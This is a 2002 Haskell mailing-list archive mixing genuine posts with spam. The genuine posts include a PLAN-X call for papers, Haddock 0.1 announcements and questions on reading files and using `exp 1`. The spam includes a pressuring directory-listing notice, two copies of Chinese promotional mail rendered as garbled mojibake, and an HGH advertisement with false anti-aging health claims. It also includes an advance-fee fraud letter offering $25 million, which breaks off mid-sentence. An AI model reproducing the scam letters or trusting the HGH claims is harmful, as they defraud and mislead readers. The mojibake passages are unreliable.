AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA= --bound-- From info@emailwebonline.com Thu May 9 15:00:24 2002 From: info@emailwebonline.com (Online Notice) Date: 12/03/02 8:00:00 AM Subject: Your Email / Website Address Message-ID: <20020312092608.A916B4220B3@www.haskell.org> This is a multi-part message in MIME format. --NextMimePart Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: 7bit EmailWebOnline

  

                                                                              http://www.emailwebonline.com
                                                                              search@emailwebonline.com
12/03/02
REFERENCE: YOUR EMAIL / WEBSITE ADDRESS
Email:   haskell@haskell.org

EMAIL/WEB ADVICE NOTICE

Our listing department has advised that your organisation''s email details which now appear on the emailweb@online directory website http://www.emailwebonline.com have presently not been approved for listing. Below are your current detials which have been previously listed complementarily. If these are suitable for listing please return by clicking the confirm details online button below and completing relevant additional details with 7 days to avoid potential delection of your entry. We trust this does not cause any inconvience. Please Note: Kindly fill in additional information where required in the confirm details online section.

Such confusion has now been addressed by emailwebonline. This internet directory of email addresses and websites will now enable you or your organisation to be accessed much easier. It will also allow you or your organisation to provide any relevant information on the net to assist users in saving valuable time as well as the associated costs involved in making contact with you.


YOUR CURRENT EMAIL DETAILS:
email: haskell@haskell.org

Please Note: We would like to advise for your email address or website, we are now providing direct links free of charge. Additions or alterations can be made but must be returned within 7 days. This is not an invoice please do send any payment. Please click the "Confirm Details Online" button and complete details.

Kind Regards,
Mrs Amanda Tyler
Listing Co-Ordinator.

emailwebonline reaches 475 million people internationally. Internet analyses courtesy of Neilson Net Ratings & ITU(International Telecommunications Union).

From ºÃÉÌÎñ Thu May 9 15:00:24 2002 From: ºÃÉÌÎñ (ºÃÉÌÎñ) Date: Tue,26 Mar 2002 15:27:50 +0800 Subject: »¶Ó­¹âÁÙ¡°ºÃÉÌÎñ¡±ÆóÒµÍø Message-ID: <20020326072848.C2E6F4220CB@www.haskell.org> ------=_Mail_Part_PPP_SMTP_01C11A5B.CEFD965 Content-Type: multipart/alternative; boundary="----=_Mail_Part_PPP_POP3_01C11A8E.4ECE36A0" ------=_Mail_Part_PPP_POP3_01C11A8E.4ECE36A0 Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: 8bit »¶Ó­µÇ½

»¶Ó­µÇ½¡°ºÃÉÌÎñ¡±ÆóÒµÍøÕ¾(www.good35.com)

×ð¾´µÄÅóÓÑ£º

    ÄúºÃ£¡

     ¡°ºÃÉÌÎñ¡±ÆóÒµÍøÕ¾--ÖйúÆóÒµÉÌÎñÐÅÏ¢Íø¡£ÒÔ¡°ÎªÆóÒµ´´ÔìÐ§Òæ¡±Îª¾­ÓªÀíÄ×ÅÁ¦ÓÚÆóÒµµÄÍøÉÏÐû´«¡¢ÓªÏúºÍ¹ÜÀíµÈ¹¤×÷µÄÈ«Ãæ·¢Õ¹¡£ËüÒÔ¸ü±ã½ÝµÄÐÅÏ¢¹µÍ¨£¬¸üµÍÁ®µÄ¼Û¸ñ£¬¸üÓÅÖʵķþÎñ£¬¸üÇ÷ÓÚ¸öÐÔ»¯µÄ¹ÜÀí£¬Á¦Õù³ÉΪÆóÒµÉÏÍøµÄÊ×ѡƽ̨¡£

    ¡°ºÃÉÌÎñ¡±ÎªÆóÒµÌṩ¶àÖÖ¼¼Êõ·þÎñºÍÈí¡¢Ó²¼þÖ§³Ö£¬ÎªÆóÒµÌṩ¶àÖÖµÄÍøÕ¾Éè¼ÆÄ£°å£¬Ìṩ¶àÀàÃâ·ÑCGI³ÌÐò£¬¿ÉÉêÇëÃâ·Ñ¶þ¼¶ÓòÃû£¬ÀûÓÃ×ÔÖúÍøÕ¾Éú³Éϵͳ£¬Ê¹ÆóÒµ½¨Õ¾¸üÇáËÉ¡£¡°ºÃÉÌÎñ¡±ÒÀÍеçÐŹ«ÓÃÊý¾ÝͨÐÅÆ½Ì¨£¬ÎªÆóÒµ¿Í»§ÌṩÊý¾ÝÏß·¡¢ÍøÂç½ÓÈëºÍÍøÂçÓ¦ÓõȶàÖÖ·þÎñ¡£¡°ºÃÉÌÎñ¡±ÖصãÍ»³öÍøÉÏÓªÏú£¬Í¨¹ýÐÂÆ·Õ¹Ê¾¡¢¾«Æ·ÈÈÂô¡¢ÍøÉϳ¬ÊС¢ÍøÉÏרÂôµê¡¢¹©ÇóÐÅÏ¢·¢²¼ÒÔ¼°ÏîÄ¿ÕÐͶ±ê¡¢ÕÐÉÌÒý×Ê¡¢È˲ÅÊг¡µÈÀ¸Ä¿µÄÍÆ³ö£¬Ê¹ÍøÂçÓªÏú¸ü¾«²Ê¡£

    ¡°ºÃÉÌÎñ¡±µÄÒ»Çлù±¾¹¦Äܶ¼½«Ãâ·ÑΪÄú¿ª·Å£¬Ï£ÍûÄܽ衰ºÃÉÌÎñ¡±×¨ÒµÉÌÎñƽ̨£¬Îª¹ó¹«Ë¾µÄ·¢Õ¹ÖúÒ»±ÛÖ®Á¦¡£µ±È»£¬ÄúÒ²¿ÉÒÔÑ¡Óá°ºÃÉÌÎñ¡±µÄÇ¿´óÑÓÉì·þÎñ£¬¹¦ÄܸüÈ«£¬¼Û¸ñ¸üÓÅ¡£¡°ºÃÉÌÎñ¡±£¬ÎªÆóÒµ´´ÔìÐ§Òæ¡£

    ÎÒÃdzÏÖ¿µØÑûÇë¹ó¹«Ë¾¼ÓÃË¡°ºÃÉÌÎñ¡±£¬ÇëµÇ½www.good35.com£¬ÉêÇëÄãµÄÕʺźͿռ䡣Ը¹ó¹«Ë¾ÔÚ¡°ºÃÉÌÎñ¡±µÄЭÖúÏ£¬Äܹ»ÔÚÍøÉÏÓªÏúÁìÓò´óÕ¹ºêͼ¡£

    ºÃÉÌÎñ£¬ÆóÒµµÄºÃ°ïÊÖ£¡

     ¡°ºÃÉÌÎñ¡±ÆóÒµÍøwww.good35.com

        

                                                                 

¡¡

¡¡

¡¡

¡¡

------=_Mail_Part_PPP_POP3_01C11A8E.4ECE36A0-- ------=_Mail_Part_PPP_SMTP_01C11A5B.CEFD965-- From ºÃÉÌÎñ Thu May 9 15:00:24 2002 From: ºÃÉÌÎñ (ºÃÉÌÎñ) Date: Tue,26 Mar 2002 15:27:50 +0800 Subject: »¶Ó­¹âÁÙ¡°ºÃÉÌÎñ¡±ÆóÒµÍø Message-ID: <20020326072851.DB86C42223A@www.haskell.org> ------=_Mail_Part_PPP_SMTP_01C11A5B.CEFD965 Content-Type: multipart/alternative; boundary="----=_Mail_Part_PPP_POP3_01C11A8E.4ECE36A0" ------=_Mail_Part_PPP_POP3_01C11A8E.4ECE36A0 Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: 8bit »¶Ó­µÇ½

»¶Ó­µÇ½¡°ºÃÉÌÎñ¡±ÆóÒµÍøÕ¾(www.good35.com)

×ð¾´µÄÅóÓÑ£º

    ÄúºÃ£¡

     ¡°ºÃÉÌÎñ¡±ÆóÒµÍøÕ¾--ÖйúÆóÒµÉÌÎñÐÅÏ¢Íø¡£ÒÔ¡°ÎªÆóÒµ´´ÔìÐ§Òæ¡±Îª¾­ÓªÀíÄ×ÅÁ¦ÓÚÆóÒµµÄÍøÉÏÐû´«¡¢ÓªÏúºÍ¹ÜÀíµÈ¹¤×÷µÄÈ«Ãæ·¢Õ¹¡£ËüÒÔ¸ü±ã½ÝµÄÐÅÏ¢¹µÍ¨£¬¸üµÍÁ®µÄ¼Û¸ñ£¬¸üÓÅÖʵķþÎñ£¬¸üÇ÷ÓÚ¸öÐÔ»¯µÄ¹ÜÀí£¬Á¦Õù³ÉΪÆóÒµÉÏÍøµÄÊ×ѡƽ̨¡£

    ¡°ºÃÉÌÎñ¡±ÎªÆóÒµÌṩ¶àÖÖ¼¼Êõ·þÎñºÍÈí¡¢Ó²¼þÖ§³Ö£¬ÎªÆóÒµÌṩ¶àÖÖµÄÍøÕ¾Éè¼ÆÄ£°å£¬Ìṩ¶àÀàÃâ·ÑCGI³ÌÐò£¬¿ÉÉêÇëÃâ·Ñ¶þ¼¶ÓòÃû£¬ÀûÓÃ×ÔÖúÍøÕ¾Éú³Éϵͳ£¬Ê¹ÆóÒµ½¨Õ¾¸üÇáËÉ¡£¡°ºÃÉÌÎñ¡±ÒÀÍеçÐŹ«ÓÃÊý¾ÝͨÐÅÆ½Ì¨£¬ÎªÆóÒµ¿Í»§ÌṩÊý¾ÝÏß·¡¢ÍøÂç½ÓÈëºÍÍøÂçÓ¦ÓõȶàÖÖ·þÎñ¡£¡°ºÃÉÌÎñ¡±ÖصãÍ»³öÍøÉÏÓªÏú£¬Í¨¹ýÐÂÆ·Õ¹Ê¾¡¢¾«Æ·ÈÈÂô¡¢ÍøÉϳ¬ÊС¢ÍøÉÏרÂôµê¡¢¹©ÇóÐÅÏ¢·¢²¼ÒÔ¼°ÏîÄ¿ÕÐͶ±ê¡¢ÕÐÉÌÒý×Ê¡¢È˲ÅÊг¡µÈÀ¸Ä¿µÄÍÆ³ö£¬Ê¹ÍøÂçÓªÏú¸ü¾«²Ê¡£

    ¡°ºÃÉÌÎñ¡±µÄÒ»Çлù±¾¹¦Äܶ¼½«Ãâ·ÑΪÄú¿ª·Å£¬Ï£ÍûÄܽ衰ºÃÉÌÎñ¡±×¨ÒµÉÌÎñƽ̨£¬Îª¹ó¹«Ë¾µÄ·¢Õ¹ÖúÒ»±ÛÖ®Á¦¡£µ±È»£¬ÄúÒ²¿ÉÒÔÑ¡Óá°ºÃÉÌÎñ¡±µÄÇ¿´óÑÓÉì·þÎñ£¬¹¦ÄܸüÈ«£¬¼Û¸ñ¸üÓÅ¡£¡°ºÃÉÌÎñ¡±£¬ÎªÆóÒµ´´ÔìÐ§Òæ¡£

    ÎÒÃdzÏÖ¿µØÑûÇë¹ó¹«Ë¾¼ÓÃË¡°ºÃÉÌÎñ¡±£¬ÇëµÇ½www.good35.com£¬ÉêÇëÄãµÄÕʺźͿռ䡣Ը¹ó¹«Ë¾ÔÚ¡°ºÃÉÌÎñ¡±µÄЭÖúÏ£¬Äܹ»ÔÚÍøÉÏÓªÏúÁìÓò´óÕ¹ºêͼ¡£

    ºÃÉÌÎñ£¬ÆóÒµµÄºÃ°ïÊÖ£¡

     ¡°ºÃÉÌÎñ¡±ÆóÒµÍøwww.good35.com

        

                                                                 

¡¡

¡¡

¡¡

¡¡

------=_Mail_Part_PPP_POP3_01C11A8E.4ECE36A0-- ------=_Mail_Part_PPP_SMTP_01C11A5B.CEFD965-- From sk@cs.brown.edu Wed May 1 04:23:12 2002 From: sk@cs.brown.edu (Shriram Krishnamurthi) Date: Tue, 30 Apr 2002 23:23:12 -0400 (EDT) Subject: PLAN-X: new deadline (May 31) Message-ID: <200205010323.XAA19673@bosch.cs.brown.edu> Note that both submission and notification dates have changed from earlier announcements. The original submission date was awkwardly placed with respect to several other conference and workshop deadlines. ------- PLAN-X: PROGRAMMING LANGUAGE TECHNOLOGIES FOR XML Oct 3, 2002 Pittsburgh, PA (Co-located with PLI) CALL FOR PAPERS Submission deadline: May 31, 2002 [not May 1, as previously announced] XML has emerged as the de facto standard for data interchange on the web. The use of XML as a common format for representation, interchange, and transformation of data poses new challenges to programming languages, applications, and database systems. During the last few years, the database research community has devoted a lot of attention to XML's data representation challenges, as evidenced by the number of XML-related publications in premier database conferences and journals. In contrast, the attention devoted to XML by the programming language research community has been minimal. This is unfortunate, since the robustness of current and future programming standards and tools for XML will depend on the strength of their foundations in core programming technologies e.g., XML parsing (parsing theory and incremental parsing), XML schemas (type systems), XPATH expressions and XSLT programs (pattern-matching languages and their optimization), XSLT debuggers (dynamic program analysis and slicing). Since XML is a new domain, core programming technologies developed in past research cannot be used unchanged; instead, novel research is required to address the unique challenges posed by XML and its use in web applications and standalone applications. This workshop aims to bring together researchers from the programming languages and XML communities, a) to foster novel research to address unique challenges being posed by XML on current and future programming technologies; b) to exchange information on early research experiences with XML-related programming systems, tools, and languages; and c) to expose the PLI community to XML technologies and the potential impact of these technologies on future software. SUBMISSION PROCEDURE We solicit submissions on original research not previously published or currently submitted for publication elsewhere, in the form of extended abstracts. These extended abstracts should not exceed 5000 words (approximately 10 pages). Detailed submission instructions will be posted soon at http://www.research.avayalabs.com/user/wadler/planx. PROCEEDINGS There will be no formal proceedings. An informal proceedings will be distributed at the workshop. [The intention is that papers presented at PLAN-X should not be blocked from later submission to an 'archival' conference.] IMPORTANT DATES Submission deadline 31 May 2002 Notification of acceptance or rejection 31 July 2002 Final papers due for informal proceedings 4 Sep 2002 WEB PAGE: http://www.research.avayalabs.com/user/wadler/planx/ GENERAL CHAIR: Vivek Sarkar, IBM PROGRAM CO-CHAIRS: Benjamin Pierce (University of Pennsylvania) Philip Wadler (Avaya Labs) PROGRAM COMMITTEE: Allen Brown (Microsoft) Peter Buneman (Edinburgh) Sophie Cluet (Xyleme / INRIA) Mary Fernandez (AT&T Labs) Shriram Krishnamurthi (Brown) Makoto Murata (IBM Japan) Benjamin Pierce (University of Pennsylvania) Michael Schwartzbach (Aarhus) Dan Suciu (University of Washington) Philip Wadler (Avaya Labs) INVITED SPEAKER: James Clark From bahadirsevinc@firat.edu.tr Wed May 1 11:21:49 2002 From: bahadirsevinc@firat.edu.tr (=?iso-8859-9?B?QmFoYWT9ciBTRVbdTsc=?=) Date: Wed, 1 May 2002 13:21:49 +0300 Subject: Read File Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C1F113.26811170 Content-Type: text/plain; charset="iso-8859-9" Content-Transfer-Encoding: 8bit Dear Haskellers, I want to read some data from a text file. I accomplished it but I want to read data from file as a Integer list for example text file has [1,2,3,5] and when I read this data from file I handeled it as string. What can I do to get it as integer list. Thanks.......... Bahadýr SEVÝNÇ ------=_NextPart_000_0000_01C1F113.26811170 Content-Type: application/ms-tnef; name="winmail.dat" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="winmail.dat" eJ8+IjEKAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5gQAAAAAAADqAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEGgAMADgAAANIHBQABAA0AFQAAAAMABAEB A5AGAEAGAAAlAAAACwACAAEAAAALACMAAAAAAAMAJgAAAAAACwApAAAAAAADADYAAAAAAB4AcAAB AAAACgAAAFJlYWQgRmlsZQAAAAIBcQABAAAAFgAAAAHB8PoA/0hlq02snU2QjYmWoHZNnlEAAAIB HQwBAAAAIAAAAFNNVFA6QkFIQURJUlNFVklOQ0BGSVJBVC5FRFUuVFIACwABDgAAAABAAAYOAE6n 4/nwwQECAQoOAQAAABgAAAAAAAAA0UklwPIG8UWD8DkERUDCnMKAAAALAB8OAQAAAAIBCRABAAAA zgEAAMoBAAAGAwAATFpGdTmPYLkDAAoAcmNwZzEyNRY0APgLYG4OEDA1NU8B9wKkA2MCAGNoCsBz oGV0MTYyAAAqAuF6YQeAIAdtAoAHbRIQVZ5SAoMAUARVEMcwIAcTfQKDMhTPEVsV9QcTFCczbwPF Fy8YPxQkfQqACMggtjsJbw4wNR2zDiA4CbtLAoAKgXYIkHdrC4Bk2Q5QdWMAUAsDYxSiC8UPCrEK gSHQAtExIERlAQrBSGFza2VsbBkEkHMsIoUWgCAgSYwgdwBwBUB0byAJcDBhZCBzA3ASAGRhFQGQ IANSICaAdGV45QVAZgMQZS4lAQDQBaCWbQtQBABoCYAgaQVA/GJ1BUAlHSZYJ2Im4AQgpSaASQIw ZWcEkCAoQX8nQQWxJyAR4AtQEgAnFyADGoAEIFsxLDIsM/gsNV0m4CEAJSAocAOg8yUQJbN0aAQA Kg4lARqA/yEAI/AohCsBK/AFEA8gJ6C2VxqABUBjA5ElEGQlkL8lgSuQBUAxZAuAK3guIoTiVDDR a3MuNYchxiKUhzavIcEWkGIgQmEagI0LMCcFcAXAU0VWONDIZGROONBjNzb6JPD9IuNiAtEZ0Dpk Ioc2WBzRAgA9UAAACwABgAggBgAAAAAAwAAAAAAAAEYAAAAAA4UAAAAAAAADAASACCAGAAAAAADA AAAAAAAARgAAAABShQAAjmoBAB4ABoAIIAYAAAAAAMAAAAAAAABGAAAAAFSFAAABAAAABAAAADku MAAeAAeACCAGAAAAAADAAAAAAAAARgAAAAA2hQAAAQAAAAEAAAAAAAAAHgAIgAggBgAAAAAAwAAA AAAAAEYAAAAAN4UAAAEAAAABAAAAAAAAAB4ACYAIIAYAAAAAAMAAAAAAAABGAAAAADiFAAABAAAA AQAAAAAAAAALAAqACCAGAAAAAADAAAAAAAAARgAAAACChQAAAQAAAAsAN4AIIAYAAAAAAMAAAAAA AABGAAAAAA6FAAAAAAAAAwA5gAggBgAAAAAAwAAAAAAAAEYAAAAAEIUAAAAAAAADADqACCAGAAAA AADAAAAAAAAARgAAAAARhQAAAAAAAAMAO4AIIAYAAAAAAMAAAAAAAABGAAAAABiFAAAAAAAAAwBd gAggBgAAAAAAwAAAAAAAAEYAAAAAAYUAAAAAAAALAHKACCAGAAAAAADAAAAAAAAARgAAAAAGhQAA AAAAAAIB+A8BAAAAEAAAANFJJcDyBvFFg/A5BEVAwpwCAfoPAQAAABAAAADRSSXA8gbxRYPwOQRF QMKcAgH7DwEAAACfAAAAAAAAADihuxAF5RAaobsIACsqVsIAAFBTVFBSWC5ETEwAAAAAAAAAAE5J VEH5v7gBAKoAN9luAAAAQzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xCQUhBRElSU0VWSU5DXExv Y2FsIFNldHRpbmdzXEFwcGxpY2F0aW9uIERhdGFcTWljcm9zb2Z0XE91dGxvb2tcb3V0bG9vay5w c3QAAAMA/g8FAAAAAwANNP03AAACAX8AAQAAADoAAAA8UEJFRklEUEFPSUVOR0FJQURBSktFRUhL Q0FBQS5iYWhhZGlyc2V2aW5jQGZpcmF0LmVkdS50cj4AAAADAAYQU8JJBgMABxDiAAAAAwAQEAAA AAADABEQAAAAAB4ACBABAAAAZQAAAERFQVJIQVNLRUxMRVJTLElXQU5UVE9SRUFEU09NRURBVEFG Uk9NQVRFWFRGSUxFSUFDQ09NUExJU0hFRElUQlVUSVdBTlRUT1JFQUREQVRBRlJPTUZJTEVBU0FJ TlRFR0VSTEkAAAAA8lA= ------=_NextPart_000_0000_01C1F113.26811170-- From afie@cs.uu.nl Wed May 1 12:04:23 2002 From: afie@cs.uu.nl (Arjan van IJzendoorn) Date: Wed, 1 May 2002 13:04:23 +0200 Subject: Read File References: Message-ID: <038101c1f0ff$f3ff3500$ec50d383@sushi> Hello, > text file has [1,2,3,5] > and when I read this data from file I handeled it as string. What can I do to get it as integer list. Apply read: [Warning untested code ahead] main :: IO () main = do contents <- readFile "myFileWithNumbers" let intList = read contents :: [Int] print intList Arjan From simonmar@microsoft.com Wed May 1 12:48:43 2002 From: simonmar@microsoft.com (Simon Marlow) Date: Wed, 1 May 2002 12:48:43 +0100 Subject: ANNOUNCE: Haddock version 0.1, a Haskell documentation tool Message-ID: <9584A4A864BD8548932F2F88EB30D1C6090B1CE9@TVP-MSG-01.europe.corp.microsoft.com> I'm pleased to announce version 0.1 of Haddock, a documentation generation tool for Haskell source code. It's available from http://www.haskell.org/haddock/ Here's the README: Haddock, a Haskell Documentation Tool =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D This is Haddock, a tool for automatically generating documentation from annotated Haskell source code. It is primary intended for documenting libraries, but it should be useful for any kind of Haskell code. Like other systems ([1],[2]), Haddock lets you write documentation annotations next to the definitions of functions and types in the source code, in a syntax that is easy on the eye when writing the source code (no heavyweight mark-up). The documentation generated by Haddock is fully hyperlinked - click on a type name in a type signature to go straight to the definition, and documentation, for that type. Haddock understands Haskell's module system, so you can structure your code however you like without worrying that internal structure will be exposed in the generated documentation. For example, it is common to implement a library in several modules, but define the external API by having a single module which re-exports parts of these implementation modules. Using Haddock, you can still write documentation annotations next to the actual definitions of the functions and types in the library, but the documentation annotations from the implementation will be propagated to the external API when the documentation is generated. Abstract types and classes are handled correctly. In fact, even without any documentation annotations, Haddock can generate useful documentation from your source code. Haddock can generate documentation in multiple formats; currently HTML is implemented, and there is partial support for generating DocBook. The generated HTML uses stylesheets, so you need a fairly up-to-date browser to view it properly (Mozilla, Konqueror, Opera, and IE 6 should all be ok). Full documentation can be found in the doc/ subdirectory, in DocBook format. Please send questions and suggestions to me: Simon Marlow [1] IDoc - A No Frills Haskell Interface Documentation System http://www.cse.unsw.edu.au/~chak/haskell/idoc/ [2] HDoc http://www.fmi.uni-passau.de/~groessli/hdoc/ From mechvel@botik.ru Thu May 2 08:36:36 2002 From: mechvel@botik.ru (Serge D. Mechveliani) Date: Thu, 2 May 2002 11:36:36 +0400 Subject: finding sublist Message-ID: <20020502113636.A462@botik.ru> Thanks to people who helped me with the task >> Import two space separated columns of integers from file. Claus Reinke recommends to exploit `lines'. Indeed, it bocomes shorter now: main = readFile "data" >>= (putStr . show . twoIntLists) where twoIntLists str = case span (not . null) $ dropWhile null $ lines str of (lns, lns') -> (readInts lns, readInts lns') readInts = map (\ str -> read str :: Integer) . dropWhile null Another question: has the Haskell Standard library a function for such a usable task as finding of occurence of a segment in a list? Say findSegmentBy (...) [2,2,3] [0,0,2,2,1,2,2,3,1,2,3] --> ([0,0,2,2,1], [2,2,3,1,2,3]) I have heard, an efficient algorithm (for large lists) for this is not so simple. ----------------- Serge Mechveliani mechvel@botik.ru From mechvel@botik.ru Thu May 2 11:12:53 2002 From: mechvel@botik.ru (Serge D. Mechveliani) Date: Thu, 2 May 2002 14:12:53 +0400 Subject: e :: Double Message-ID: <20020502141253.A731@botik.ru> Please, has Haskell e :: Double ( ~= limit (1 + 1/n)^n ) in its standard library? ----------------- Serge Mechveliani mechvel@botik.ru From mechvel@botik.ru Thu May 2 11:18:50 2002 From: mechvel@botik.ru (Serge D. Mechveliani) Date: Thu, 2 May 2002 14:18:50 +0400 Subject: e = exp 1 Message-ID: <20020502141850.A748@botik.ru> I wrote about e :: Double for the Library. It can be obtained as exp 1, but I wonder whether it is good for the library to add the `e' denotation. ----------------- Serge Mechveliani mechvel@botik.ru From la@iki.fi Thu May 2 11:17:59 2002 From: la@iki.fi (Lauri Alanko) Date: Thu, 2 May 2002 13:17:59 +0300 Subject: e :: Double In-Reply-To: <20020502141253.A731@botik.ru>; from mechvel@botik.ru on Thu, May 02, 2002 at 02:12:53PM +0400 References: <20020502141253.A731@botik.ru> Message-ID: <20020502131759.A25738@kruuna.Helsinki.FI> On Thu, May 02, 2002 at 02:12:53PM +0400, Serge D. Mechveliani wrote: > Please, has Haskell e :: Double > > ( ~= limit (1 + 1/n)^n ) in its standard library? exp 1.0 Lauri Alanko la@iki.fi From tweed@compsci.bristol.ac.uk Thu May 2 11:47:08 2002 From: tweed@compsci.bristol.ac.uk (D. Tweed) Date: Thu, 2 May 2002 11:47:08 +0100 (BST) Subject: e = exp 1 In-Reply-To: <20020502141850.A748@botik.ru> Message-ID: On Thu, 2 May 2002, Serge D. Mechveliani wrote: > I wrote about e :: Double for the Library. > > It can be obtained as exp 1, > but I wonder whether it is good for the library to add the `e' > denotation. Just a comment: my programming style (and others I've seen) use single letters parameters a lot, so if it is added a longer name would be preferable. This is based on the fact that I don't use `e' (as opposed to exp x) much. ___cheers,_dave_________________________________________________________ www.cs.bris.ac.uk/~tweed/|`...heat generated by its microprocessors will email:tweed@cs.bris.ac.uk|slope upward exponentially, reaching the power work tel:(0117) 954-5250 |density of a nuclear reactor before 2010'-Intel From joe@isun.informatik.uni-leipzig.de Thu May 2 11:51:32 2002 From: joe@isun.informatik.uni-leipzig.de (Johannes Waldmann) Date: Thu, 2 May 2002 12:51:32 +0200 (MET DST) Subject: Haddock Message-ID: <200205021051.MAA11864@isun11.informatik.uni-leipzig.de> I just tried haddock-0.1. Good thing! Two quibbles, though: * the parser chokes on CVS headers like -- $Id ...$ ( but -- -- $Id ..$ is OK) * is there support for hierarchical namespaces? ( with module Foo.Bar in file Foo/Bar.hs, and so on ) Best regards, -- -- Johannes Waldmann ---- http://www.informatik.uni-leipzig.de/~joe/ -- -- joe@informatik.uni-leipzig.de -- phone/fax (+49) 341 9732 204/252 -- From simonmar@microsoft.com Thu May 2 12:53:30 2002 From: simonmar@microsoft.com (Simon Marlow) Date: Thu, 2 May 2002 12:53:30 +0100 Subject: Haddock Message-ID: <9584A4A864BD8548932F2F88EB30D1C6090B1FC6@TVP-MSG-01.europe.corp.microsoft.com> > I just tried haddock-0.1. Good thing! Two quibbles, though: > * the parser chokes on CVS headers like -- $Id ...$=20 > ( but -- -- $Id ..$ is OK) Yes, because '-- $' has a special meaning in Haddock (it's a named documentation comment). > * is there support for hierarchical namespaces? > ( with module Foo.Bar in file Foo/Bar.hs, and so on ) Yes, hierarchical modules are supported. You must pass the full filenames of each of the modules to be processed to Haddock, though. Cheers, Simon From 0ffice100@bahraimail.com Thu May 2 16:54:36 2002 From: 0ffice100@bahraimail.com (0ffice100@bahraimail.com) Date: Thu, 2 May 2002 08:54:36 -0700 Subject: = Myth: All HGH Products Are the Same = Message-ID: <20020502154707.DCA0342225D@www.haskell.org> All HGH products are not the same. There are three different types of products. Yet, all three are advertised as if they where the same. The three types are: 1) Homeopathic HGH 2) Pre-cursor HGH 3) Real or synthetic HGH (delivered by injection or, by an oral spray method). Do you know differences? Call us and we'll explain them to you. Our toll free number is 888-248-4571 For more information on HGH read on............ ***************************************************************************** HAVE YOU HEARD OF HUMAN GROWTH HORMONE (HGH)??? Released by your own pituitary gland, HGH starts declining in your 20s, even more in your 30s and 40s, eventually resulting in the shrinkage of major organs -- plus, all other symptoms related to old age. IN THOUSANDS OF CLINICAL STUDIES, HGH HAS BEEN SHOWN TO ACCOMPLISH THE FOLLOWING: * Reduce Body Fat and Build Lean Muscle WITHOUT EXERCISE! * Enhance Sexual Performance * Remove Wrinkles and Cellulite * Lower Blood Pressure and Improve Cholesterol Profile * Improve Sleep, Vision and Memory * Restore Hair Color and Growth * Strengthen the Immune System * Increase Energy and Cardiac Output * Turn back your body's Biological Time Clock 10 - 20 years * Live Longer AND Stronger All natural and organic plant based FEEL 10 YEARS YOUNGER WITH ORAL SPRAY HGH. GUARANTEED We are the manufacturer and we sell directly to Doctors, Chiropractors, and consumers world wide the highest grade HGH Oral Spray available. With internet marketing, we are able to save advertising cost and pass those savings along to you. But you must act now. To receive more information call us now. TOLL FREE 1-888-248-4571 We must speak to you in person to qualify your usage. All of your questions will be addressed and answered in a friendly, no pressure manner. Our main purpose is to provide you with information so you can make an educated decision. For more information call 1-888-248-4571 If you are on line write down our phone number and call us when you can. Soon, you and your loved ones will be very glad you did. Read what people are saying: "The effects of 6 months of GH on lean body mass and fat were equivalent in magnitude to the changes incurred during 10-20 years of aging." Dr. Daniel Rudman, MD, New England Journal of Medicine. "Within four months, my body fat decreased form 30% down to 21%! I noticed my skin is more supple and my overall mental outlook improved significantly." D.W., New Jersey "We have been on the spray for just 3 weeks now, and besides the tremendous energy we both feel, my husbands allergies and spells of depression have lifted. I am healing extremely fast after an accident and have lost 7 lbs. without trying!" C.B., Flagstaff. AZ Thanks for reading our letter, The HGH Staff USA Division PS: The HGH Staff guarantees the highest quality and lowest price. We manufacture and ship directly to your door. Call us now 1-888-248-4571 *********************************************************** ======= End of message ======== To Qualify for a Free HGH Consultation call the HGH Staff -- Today. *********************************************************** The following statement is provided to be in compliance with commercial email laws. If you do not wish to receive further mailings, please click reply and type remvoe in the subject box. Then click send. This message is in full compliance with U.S. Federal requirements for commercial email under bill S.1618 Title lll, Section 301, Paragraph (a)(2)(C) passed by the 105th U.S. Congress and is not considered SPAM since it includes a remove mechanism. *********************************************************** This message is not intended for residents in the states of CA, NC, NV, RI, TN, VA & WA. Screening of addresses has been done to the best of our technical ability. *********************************************************************** Call us now 1-888-248-4571 for your free HGH consultation. *********************************************************************** From mpeti_k03@mail.com Thu May 2 20:42:53 2002 From: mpeti_k03@mail.com (laurent mpeti kabila) Date: Thu, 2 May 2002 21:42:53 +0200 Subject: (no subject) Message-ID: <20020502193906.455ED421F21@www.haskell.org> REQUEST FOR URGENT BUSINESS ASSISTANCE -------------------------------------- Your contact was availed to me by the chamber of commerce=2E It was given to me because of my diplomatic status as I did not disclose the actual reasons for which I sought your contact=2E But I was assured That you are reputable and trustworthy if you will be of assistance=2E I am Laurent Mpeti Kabila =28Jnr=29 the second son of Late President LAURENT DESIRE KABILA the immediate Past president of the DEMOCRATIC REPUBLIC OF CONGO in Africa who was murdered by his opposition through his personal bodyguards in his bedroom on Tuesday 16th January=2C 2001=2E I have the privilege of being mandated by my father colleagues to seek your immediate and urgent co-operation to receive into your bank account the sum of US $25m=2E =28twenty-five million Dollars=29 and some thousands carats of Diamond=2E This money and treasures was lodged in a vault with a security firm in Europe and South-Africa=2E SOURCES OF DIAMONDS AND FUND In August 2000=2C my father as a defence minister and president has a meeting with his cabinet and armychief about the defence budget for 2000 to 2001 which was US $700m=2E so he directed one of his best friend=2E Frederic Kibasa Maliba who was a minister of mines and a political party leader known as the Union Sacree de=2C I=11 opposition radicale et ses allies =28USORAL=29 to buy arms with US $200m on 5th January 2001=3B for him to finalized the arm=12s deal=2C my father was murdered=2E f=2EK=2E Maliba =28FKM=29 and I have decided to keep the money with a foreigner after which he will use it to contest for the political election=2E Inspite of all this we have resolved to present your or your company for the firm to pay it into your nominated account the above sum 